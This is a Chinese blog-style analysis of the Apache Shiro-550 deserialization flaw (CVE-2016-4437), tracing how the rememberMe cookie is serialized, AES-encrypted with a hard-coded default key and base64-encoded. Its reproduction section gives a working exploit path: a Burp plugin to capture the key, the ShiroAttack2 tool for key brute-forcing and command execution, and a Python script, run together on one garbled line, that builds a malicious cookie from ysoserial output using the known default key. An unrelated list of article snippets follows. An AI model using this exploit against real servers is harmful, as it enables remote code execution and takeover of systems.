Shiro-550—漏洞分析(CVE-2016-4437)

文章目录

  • 漏洞原理
  • 源码分析
    • 加密过程
    • 解密过程
  • 漏洞复现

漏洞原理

Shiro-550(CVE-2016-4437)反序列化漏洞
在调试cookie加密过程的时候发现开发者将AES用来加密的密钥硬编码了,并且所以导致我们拿到密钥后可以精心构造恶意payload替换cookie,然后让后台最后解密的时候进行反序列化我们的恶意payload造成攻击。
注:想要搞懂漏洞产生根因主要还是得知道根因是因为密钥写死在了源码中导致可碰撞密钥或直接使用默认密钥,后面就是反序列化漏洞。

源码分析

加密过程

约定:假设传入的用户名是root

1.入口在:onSuccessfulLogin函数
在这里插入图片描述
2.接着看下面有一个if判断是isRememberMe判断是否勾选了RememberMe,我们为了能够进行攻击的话肯定是需要勾选的,并且可以看到返回true进入if后会执行rememberIdentity函数,那么这里就正式开始漏洞剖析了。
在这里插入图片描述
3.跟进rememberIdentity函数,会发现他会用你登录信息来生成一个PrincipalCollection对象
(注意这里传入的是你输入的用户名root)
在这里插入图片描述
注意,我们这里需要跟进rememberIdentity函数里的rememberIdentity函数
进去后你会发现两个函数,这里两大分支:

  • convertPrincipalsToBytes
  • rememberSerializedIdentity

说明:我们先跟踪convertPrincipalsToBytes,但是不要忘了该函数结束后下一行要进行 rememberSerializedIdentity
在这里插入图片描述

4.接着跟进convertPrincipalsToBytes,发现这里就是对用户名root先进行了一个序列化功能,接着如果if成立就进去encrypt加密,那么这两点说的就是整个漏洞的核心。

序列化+加密
但是我们要进行攻击的话就要进一步了解如何加密的,到时候攻击的话序列化就编写对应的代码即可,但是加密过程我们是需要知道的最好是能拿到他的密钥。

在这里插入图片描述
5.那么接着肯定要跟进serialize函数,再进去就没啥好看的了,知道他对用户名进行了一个序列化过程即可。
在这里插入图片描述
6.接着就要回过头来看convertPrincipalsToBytes函数,序列化完成后下面有个getCipherService函数,是用来获取加密方式的。
这里很重要,if判断和if里面的加密函数跟进后会获取到劲爆信息。
在这里插入图片描述

7.开始跟进getCipherService函数
开幕雷击,重要信息+1,
在这里插入图片描述
可以悬停看到他的加密方式AES模式
在这里插入图片描述
8.判断成功找到加密模式后,接下来就是进入if里面进行encrypt加密了
在这里插入图片描述
跟进后发现有做if,然后才开始进行加密,if肯定能进去,刚刚才拿到了加密模式
在这里插入图片描述
9.这里根据执行优先级,先跟进getEncryptionCipherKey方法
这个getEncryptionCipherKey就是最劲爆的,获取加密密钥,赶紧跟进一探究竟
直接返回了encryptionCipherKey,加密密钥就是他,那么肯定要找到他的setter方法,但是这里我决定不深入了,因为我们已经知道该方法是拿到加密密钥即可
在这里插入图片描述
最终你会找到加密密钥为DEFAULT_CIPHER_KEY_BYTES
在这里插入图片描述
10.书接上回getEncryptionCipherKey获取加密密钥成功了,接着就轮到encrypt加密了,但是这里我就不继续跟进了,因为已经知道了加密方式和密钥了。
在这里插入图片描述
11.退出后接着就是 rememberSerializedIdentity
不知道还记得不得之前提醒了convertPrincipalsToBytes函数退出后不要忘记 rememberSerializedIdentity
在这里插入图片描述
12.跟进 rememberSerializedIdentity 函数
里面的都不管了,直接看重要的信息,那就是对convertPrincipalsToBytes函数返回出来的bytes进行再次编码,这里使用了base64加密,然后将最终base64加密后设置为用户的Cookie的rememberMe字段中。
在这里插入图片描述

  • 加密总结
    对cookie进行序列化

    AES加密(密钥可碰撞拿到/用常用默认密钥)

    base64加密

    完成加密,设置cookie字段

解密过程

解密过程其实就和上面加密相反,我更认为通过加密来理解漏洞更让人深刻,所以解密过程就是:

  • 解密总结
    hacker 传入恶意payload放在cookie的rememberMe字段中

    服务端 base64解密

    服务端 AES解密(密钥可碰撞拿到/用常用默认密钥)

    服务端 反序列化数据(攻击成功)

那么其实最终要的就是获取秘钥和生成恶意payload,这两点就在下面漏洞复现来展开。

漏洞复现

1.抓取加密密钥
可以通过burpsuite插件安装来被动获取
https://github.com/pmiaowu/BurpShiroPassiveScan/releases
在这里插入图片描述
插件安装完成后就可以抓包方包看看
在这里插入图片描述
最后在目标那里就能够看到抓到的密钥了
在这里插入图片描述

2.生成payload进行攻击
这里就先介绍集成工具使用,直接一步到位。
本来想着用ysoserial,但是问题多多,使用起来比较麻烦。
建议使用该工具来的快:
https://github.com/SummerSec/ShiroAttack2/releases
使用方法也很简单,运行jar包命令:java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
将你的url放在目标地址上即可
先点爆破密钥,回显日志中有打印:找到key,
接着再点爆破利用链即可
在这里插入图片描述
接着来到命令执行这里随便执行命令了
在这里插入图片描述

同时你还能添加更多的key进字典里面,字典在data目录下。
在这里插入图片描述


下面这种生成payload方式可看可不看,如果你很懂ysoserial就用下面这个,确实ysoserial很强,就是比较麻烦。

网上有现成脚本,改成你自己的dnslog域名
(这个脚本我只测试了dnslog,是成功的)
这个方法有缺点,需要你当前目录下要有ysoserial.jar,同时我试了其他gadget都失败了,执行不了命令,不知道哪里出错了还是咋滴,建议不用修改其他东西,只修改dnslog域名获取到payload,放到cookie那里发包过去探测存在漏洞即可。
请自行下载jar包放在同脚本目录下才能用下面脚本:https://github.com/frohoff/ysoserial/
在这里插入图片描述
接着运行脚本
拿到payload
在这里插入图片描述
接着放到cookie里面,记住一定要放到cookie里面,因为反序列化就是通过cookie反序列化的。
在这里插入图片描述
接着查看dnslog就会发现触发成功
在这里插入图片描述

下面就是脚本源码,千万不要忘记了脚本当前目录下要有ysoserial.jar才能运行起来。

import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],stdout=subprocess.PIPE)# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# payload = encode_rememberme('127.0.0.1:12345')# payload = rememberme('calc.exe')payload = rememberme('http://xxxx.ceye.io')with open("./payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()))res = "rememberMe={}".format(payload.decode())fpw.write(res)

参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/225442
https://www.cnblogs.com/z2n3/p/17206671.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/146301.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

基于无人机影像的可见光单木分割数据集-json格式

基于无人机影像的可见光单木分割数据集,共1700张影像,数据集大小3.6GB,分割标注采用标准json格式。 该数据集是一个专门用于基于无人机可见光影像进行单木分割的数据集,旨在帮助研究人员和开发者训练和评估基于深度学习的图像分割…

EndNoteX9快捷插入引用文献的教程以及出现的一些问题的解决方法(一)

使用EndNote向Word文档中插入引用文献时报错如图1所示: 解决方法为: 采用管理员身份运行Word与EndNote软件 当电脑中安装好Word与EndNote两款软件之后如何在Word中快速插入引用文献 (一)直接打开Word如图2,3&#x…

VisionPro - 基础 - 00 模板匹配技术和在VP中的使用 - PMAlign - PatMax - (3)

前言: 针对PatMax 的高级应用和原理,在这一节继续进行说明:这一节主要考虑的是PatMax模板匹配的原理: How PatMax Finds Patterns in an Image PatMax 模板匹配原理 1 Run-time Space When you search for a PatMax pattern in …

生信初学者教程(五):R语言基础

文章目录 数据类型整型逻辑型字符型日期型数值型复杂数数据结构向量矩阵数组列表因子数据框ts特殊值缺失值 (NA)无穷大 (Inf)非数字 (NaN)安装R包学习材料R语言是一种用于统计计算和图形展示的编程语言和软件环境,广泛应用于数据分析、统计建模和数据可视化。1991年:R语言的最…

DOCKER 数据库管理软件自己开发--———未来之窗行业应用跨平台架构

- 数据异地容灾服务--未来之窗智慧数据服务 DATA REMOTE DISASTER RECOVERY SERVICE -CyberWin Future Docker-数据查看 CyberWin DATA Viewer 1.docker 样式 mysqli://root:密码172.17.0.2:端口/数据库 阿雪技术观 拥抱开源与共享,见证科技进步奇迹,…

25届计算机专业毕设选题推荐-基于python+Django协调过滤的新闻推荐系统

💖🔥作者主页:毕设木哥 精彩专栏推荐订阅:在 下方专栏👇🏻👇🏻👇🏻👇🏻 实战项目 文章目录 实战项目 一、基于协调过滤的新闻推荐系统…

MySQL的登陆错误:ERROR 1049 (42000): Unknown database ‘root‘

MySQL的登陆错误:ERROR 1049 (42000): Unknown database ‘root’ 安装MySQL的时候,到网上查的命令行登陆MySQL的方法都是mysql -u root -p password mysql -r root -p 123456但是奇怪的是这条命令我输进去死活都不对,它都会要求再输入一遍…

how can I train a OpenAI fine tuned model with more prompts

题意:我如何使用更多提示来训练一个 OpenAI 微调模型? 问题背景: I fine-tuned OpenAI model with some prompts following this documentation it succeeded and created a new model in the playground. How I can retrain (fine-tune) th…

如何通过蜂巢(容器安全)管理内部部署数据安全产品与云数据安全产品?

本文将探讨内部部署和云数据安全产品之间的主要区别。在思考这个问题之前,首先了解内部部署和云数据安全产品之间的主要区别。 内部部署数据安全产品意味着管理控制台位于企业客户的内部部署,而德迅云安全则在云中托管云数据安全产品。德迅云安全供应商通…

灵当CRM系统index.php存在SQL注入漏洞

文章目录 免责申明漏洞描述搜索语法漏洞复现nuclei修复建议 免责申明 本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任 漏洞描述 灵当CRM系统是一款功能全面、易于使用的客户关系管理(C…

Vue 修饰符 | 指令 区别

Vue 修饰符 | 指令 区别 在Vue.js这个前端框架中,修饰符(modifiers)和指令(directives)是两个非常重要的概念。这里我们深度讨论下他们区别。 文章目录 Vue 修饰符 | 指令 区别一、什么是修饰符修饰符案例常见修饰符列…

基于深度学习的花卉智能分类识别系统

温馨提示:文末有 CSDN 平台官方提供的学长 QQ 名片 :) 1. 项目简介 传统的花卉分类方法通常依赖于专家的知识和经验,这种方法不仅耗时耗力,而且容易受到主观因素的影响。本系统利用 TensorFlow、Keras 等深度学习框架构建卷积神经网络&#…

4、论文阅读:基于深度学习和成像模型的水下图像增强

基于深度学习和成像模型的水下图像增强 前言介绍物理成像模型光学成像原理数学公式深度学习方法Backscatter Estimation Module(反向散射估计模块)Direct-transmission Estimation Module(直接传输估计模块)训练方法前言 现在的主要挑战是水下机器人捕获的图像颜色失真。水…

nacos启动报错 load derby-schema.sql error

nacos 今天在使用nacos时,启动时一直报错,错误日志如下: 2024-09-16 08:27:57 Caused by: java.lang.RuntimeException: com.alibaba.nacos.api.exception.runtime.NacosRuntimeException: errCode: 500, errMsg: load derby-schema.sql err…

基于MindSpore实现Transformer机器翻译(下)

因本文内容较长,故分为上下两部分。上部分可点击以下链接查看 基于MindSpore实现Transformer机器翻译(上) 编码器(Encoder) Transformer的Encoder负责处理输入的源序列,并将输入信息整合为一系列的上下文…

分布式消息中间件kafka

文章目录 什么是kafka?整体架构 kafka核心概念1. 生产者 (Producer)2. 消费者 (Consumer)3. 主题 (Topic)4. 分区 (Partition)5. 经纪人 (Broker)6. 复制 (Replication)7. 消费者组 (Consumer Group)8. 日志段 (Log Segment) 主要功能1. 高吞吐量2. 可靠的消息传递3. 发布/订阅…

信息安全数学基础(19)同余式的基本概念及一次同余式

一、同余式概念 同余式是数论中的一个基本概念,用于描述两个数在除以某个数时所得的余数相同的情况。具体地,设m是一个正整数,a和b是两个整数,如果a和b除以m的余数相同,则称a和b模m同余,记作a≡b(mod m)。反…

电脑ip地址怎么换地区:操作步骤与利弊分析

在当今全球化的信息时代,人们经常需要访问不同地区的网络资源。然而,由于地理位置的限制,某些内容或服务可能只对特定地区的用户开放。这时,更换电脑IP地址的地区就成为了一个实用的解决方案。本文将详细介绍两种更换电脑IP地址地…

Excel--DATEDIF函数的用法及参数含义

DATEDIF函数的用法为: DATEDIF(start_date,end_date,unit),start_date表示的是起始时间,end_date表示的是结束时间。unit表示的是返回的时间代码,是天、月、年等。如下: Datedif函数的参数含义unit参数返回值的意义"y"两个时间段之间的整年数…

QEMU:模拟 ARM 大端字节序运行环境

文章目录 1. 前言2. ARM 大小端模拟测试2.1 裸机模拟测试2.1.1 大端模拟测试2.1.2 小端模拟测试 2.2 用户空间模拟测试2.2.1 大端模拟测试2.2.2 小端模拟测试 2.3 结论 3. 参考链接 1. 前言 限于作者能力水平,本文可能存在谬误,因此而给读者带来的损失&…